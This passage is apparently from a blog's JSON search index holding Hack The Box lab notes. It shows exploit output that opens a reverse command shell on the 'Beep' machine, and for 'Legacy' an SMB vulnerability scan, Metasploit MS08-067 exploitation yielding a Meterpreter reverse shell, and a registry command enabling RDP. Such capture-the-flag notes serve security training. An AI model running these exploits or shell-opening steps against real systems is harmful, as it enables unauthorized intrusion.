class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003erequest\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewith\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003erange\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e231\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e443\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSending\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eevil\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003erequest\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewith\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003erange\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e232\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e443\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSending\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eevil\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003erequest\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewith\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003erange\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e233\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e443\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSending\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eevil\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003erequest\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewith\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003erange\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e234\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAccepted\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ethe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efirst\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eclient\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003econnection\u003c/span\u003e\u003cspan class=\"p\"\u003e...\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAccepted\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ethe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003esecond\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eclient\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003econnection\u003c/span\u003e\u003cspan class=\"p\"\u003e...\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCommand\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eecho\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eqaF1oILSz5kNCclV\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eWriting\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eto\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esocket\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eA\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eWriting\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eto\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esocket\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eB\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eReading\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efrom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esockets\u003c/span\u003e\u003cspan class=\"p\"\u003e...\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eReading\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efrom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esocket\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eB\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eB\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;qaF1oILSz5kNCclV\\r\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMatching\u003c/span\u003e\u003cspan class=\"p\"\u003e...\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eA\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003einput\u003c/span\u003e\u003cspan class=\"p\"\u003e...\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCommand\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshell\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003esession\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eopened\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e122\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e4444\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e39534\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2020\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e05\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e25\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e01\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e37\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e26\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e0800\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"issue-to-fix\"\u003eissue to fix\u003c/h2\u003e\n\u003cp\u003eset ssl true\u003c/p\u003e","title":"HackTheBox: Beep Notes"},{"content":"Information Gathering Nmap Nmap scan report for 10.10.10.4 Host is up (0.0050s latency). Not shown: 65532 filtered ports PORT STATE SERVICE VERSION 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows XP microsoft-ds 3389/tcp closed ms-wbt-server Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp Host script results: |_clock-skew: mean: 5d00h30m01s, deviation: 2h07m16s, median: 4d23h00m01s |_nbstat: NetBIOS name: LEGACY, NetBIOS user: \u0026lt;unknown\u0026gt;, NetBIOS MAC: 00:50:56:b9:b1:37 (VMware) | smb-os-discovery: | OS: Windows XP (Windows 2000 LAN Manager) | OS CPE: cpe:/o:microsoft:windows_xp::- | Computer name: legacy | NetBIOS computer name: LEGACY\\x00 | Workgroup: HTB\\x00 |_ System time: 2020-05-23T20:26:09+03:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smb2-time: Protocol negotiation failed (SMB2) REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f\nOn second thought, with no web services and only ports 445+139 open, this target machine should be directly attackable via a remote overflow vulnerability\nI saw a bunch of scripts in zenmap, so I scanned with a wildcard directly\n# nmap --script \u0026#34;smb-vuln*\u0026#34; -p 139,445 10.10.10.4 Nmap scan report for 10.10.10.4 Host is up (0.51s latency). PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds Host script results: | smb-vuln-ms08-067: | VULNERABLE: | Microsoft Windows system vulnerable to remote code execution (MS08-067) | State: VULNERABLE | IDs: CVE:CVE-2008-4250 | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, | Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary | code via a crafted RPC request that triggers the overflow during path canonicalization. | | Disclosure date: 2008-10-23 | References: | https://technet.microsoft.com/en-us/library/security/ms08-067.aspx |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250 |_smb-vuln-ms10-054: false |_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: EOF Nmap done: 1 IP address (1 host up) scanned in 26.05 seconds Getting a Shell Fired up msf directly with the 08-067 exploit and got a shell quickly\nmsf5 exploit(windows/smb/ms06_070_wkssvc) \u0026gt; search 08-067 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption msf5 exploit(windows/smb/ms06_070_wkssvc) \u0026gt; use 0 msf5 exploit(windows/smb/ms08_067_netapi) \u0026gt; show [-] Argument required [*] Valid parameters for the \u0026#34;show\u0026#34; command are: all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options [*] Additional module-specific parameters are: missing, advanced, evasion, targets, actions msf5 exploit(windows/smb/ms08_067_netapi) \u0026gt; show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax \u0026#39;file:\u0026lt;path\u0026gt;\u0026#39; RPORT 445 yes The SMB service port (TCP) SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting msf5 exploit(windows/smb/ms08_067_netapi) \u0026gt; set rhosts 10.10.10.4 rhosts =\u0026gt; 10.10.10.4 msf5 exploit(windows/smb/ms08_067_netapi) \u0026gt; run [*] Started reverse TCP handler on 10.10.16.122:4444 [*] 10.10.10.4:445 - Automatically detecting the target... [*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English [*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX) [*] 10.10.10.4:445 - Attempting to trigger the vulnerability... [*] Sending stage (176195 bytes) to 10.10.10.4 [*] Meterpreter session 1 opened (10.10.16.122:4444 -\u0026gt; 10.10.10.4:1031) at 2020-05-19 00:12:44 +0800 Enabling RDP REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\u0026#34; \u0026#34;Server /v fDenyTSConnections /t REG_DWORD /d 0 /f Under pressure, I just formatted the hard drive. Satisfying\n","permalink":"https://www.unc.la/en/posts/penetration/tonnmg/","summary":"\u003ch1 id=\"information-gathering\"\u003eInformation Gathering\u003c/h1\u003e\n\u003ch2 id=\"nmap\"\u003eNmap\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eNmap\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escan\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ereport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eHost\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eup\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e0050\u003c/span\u003e\u003cspan class=\"n\"\u003es\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elatency\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eNot\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshown\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e65532\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efiltered\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eports\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ePORT\u003c/span\u003e\u003cspan class=\"w\"\u003e     \u003c/span\u003e\u003cspan class=\"k\"\u003eSTATE\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003eSERVICE\u003c/span\u003e\u003cspan class=\"w\"\u003e       \u003c/span\u003e\u003cspan class=\"k\"\u003eVERSION\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e139\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"k\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003enetbios\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003essn\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eWindows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enetbios\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003essn\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e445\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"k\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003emicrosoft\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eds\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003eWindows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eXP\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emicrosoft\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eds\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e3389\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eclosed\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ems\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ewbt\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eserver\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eService\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eInfo\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eOSs\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eWindows\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eWindows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eXP\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCPE\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecpe\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eo\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003emicrosoft\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ewindows\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecpe\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eo\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan 